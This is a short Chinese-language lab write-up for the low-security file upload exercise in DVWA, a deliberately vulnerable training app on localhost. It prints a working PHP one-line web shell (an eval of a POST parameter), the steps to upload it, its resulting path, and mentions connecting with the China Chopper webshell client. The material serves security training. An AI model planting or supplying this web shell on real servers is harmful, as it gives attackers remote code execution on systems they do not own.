dvwa之 file upload （low）一句话木马和中国菜刀

low等级的可以使用一句话木马和中国菜刀

低等级的没有对于上传做任何的过滤或者是防护，所以直接用一句话木马进行上传即可（相关原理可以参照其他大佬的）

首先直接用一个txt里面构造一句话木马即可：（php）：<?php @eval($_POST['pass']);?>

直接命名为pass.php即可（只是针对low等级），然后上传

上传成功，路径如下：../../hackable/uploads/pass.php succesfully uploaded!

完整路径为：http://127.0.0.1/dvwa/hackable/uploads/pass.php   密码为：pass（就是一句话中间的密码）

使用中国菜刀进行连接

直接连接即可